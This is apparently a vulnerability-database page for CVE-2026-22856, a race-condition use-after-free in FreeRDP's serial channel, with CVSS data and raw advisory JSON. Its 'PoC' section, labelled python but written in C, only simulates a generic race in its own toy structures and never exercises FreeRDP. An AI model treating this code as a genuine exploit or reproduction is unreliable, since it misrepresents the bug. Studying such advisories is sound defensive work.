Security Vulnerability Report
中文
CVE-2026-22856 CVSS 8.1 HIGH

CVE-2026-22856

Published: 2026-01-14 18:16:43
Last Modified: 2026-01-20 18:35:45

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a race in the serial channel IRP thread tracking allows a heap use‑after‑free when one thread removes an entry from serial->IrpThreads while another reads it. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22856 PoC - FreeRDP Serial Channel Race Condition UAF // This PoC demonstrates triggering the race condition in FreeRDP's serial channel // Compile: gcc -lpthread -o cve202622856_poc cve202622856_poc.c #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Simulated IRP structure matching FreeRDP's serial channel typedef struct { void* data; int id; int in_use; } IRP_Entry; // Simulated serial channel IrpThreads list typedef struct { IRP_Entry** entries; int count; int capacity; pthread_mutex_t lock; } IrpThreads_List; // Global list simulating serial->IrpThreads IrpThreads_List g_irps = {NULL, 0, 10, PTHREAD_MUTEX_INITIALIZER}; // Thread 1: Reader - continuously reads from IrpThreads void* reader_thread(void* arg) { while(1) { // Simulate reading IRP without proper synchronization for (int i = 0; i < g_irps.count; i++) { IRP_Entry* entry = g_irps.entries[i]; if (entry != NULL && entry->in_use) { // Use-after-free: accessing potentially freed memory printf("[READER] Accessing IRP %d, data: %p\n", entry->id, entry->data); // This simulates the vulnerable access pattern volatile char c = *((char*)entry->data); (void)c; } } usleep(100); // Small delay to increase race condition likelihood } return NULL; } // Thread 2: Remover - removes entries from IrpThreads void* remover_thread(void* arg) { while(1) { // Simulate removing IRP entries (vulnerable operation) for (int i = g_irps.count - 1; i >= 0; i--) { IRP_Entry* entry = g_irps.entries[i]; if (entry != NULL && entry->id % 2 == 0) { printf("[REMOVER] Removing IRP %d\n", entry->id); // Free the entry without proper synchronization with reader free(entry->data); free(entry); g_irps.entries[i] = NULL; // Entry is freed while reader might still access it } } usleep(150); // Offset timing to trigger race } return NULL; } // Initialize simulated IRP list void init_irps() { g_irps.entries = malloc(sizeof(IRP_Entry*) * g_irps.capacity); for (int i = 0; i < g_irps.capacity; i++) { g_irps.entries[i] = malloc(sizeof(IRP_Entry)); g_irps.entries[i]->id = i; g_irps.entries[i]->data = malloc(64); g_irps.entries[i]->in_use = 1; sprintf(g_irps.entries[i]->data, "IRP_DATA_%d", i); } g_irps.count = g_irps.capacity; } int main() { printf("=== CVE-2026-22856 FreeRDP Serial Channel UAF PoC ===\n"); printf("This PoC simulates the race condition in FreeRDP's serial channel\n"); printf("IRP thread tracking. The race occurs when one thread removes\n"); printf("entries from serial->IrpThreads while another reads them.\n\n"); init_irps(); pthread_t reader, remover; // Create reader thread (simulates IRP processing) pthread_create(&reader, NULL, reader_thread, NULL); // Create remover thread (simulates IRP completion/cancellation) pthread_create(&remover, NULL, remover_thread, NULL); printf("Running race condition simulation for 10 seconds...\n"); sleep(10); printf("\nPoC demonstration complete.\n"); printf("In real attack scenario, this race condition leads to:\n"); printf("1. Heap use-after-free vulnerability\n"); printf("2. Potential memory corruption\n"); printf("3. Possible remote code execution\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22856", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:43.230", "lastModified": "2026-01-20T18:35:44.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a race in the serial channel IRP thread tracking allows a heap use‑after‑free when one thread removes an entry from serial->IrpThreads while another reads it. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.20.1, una condición de carrera en el seguimiento de hilos IRP del canal serie permite un uso de memoria después de liberación (use-after-free) en el heap cuando un hilo elimina una entrada de serial-&gt;IrpThreads mientras otro la lee. Esta vulnerabilidad está corregida en la versión 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-w842-c386-fxhv", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}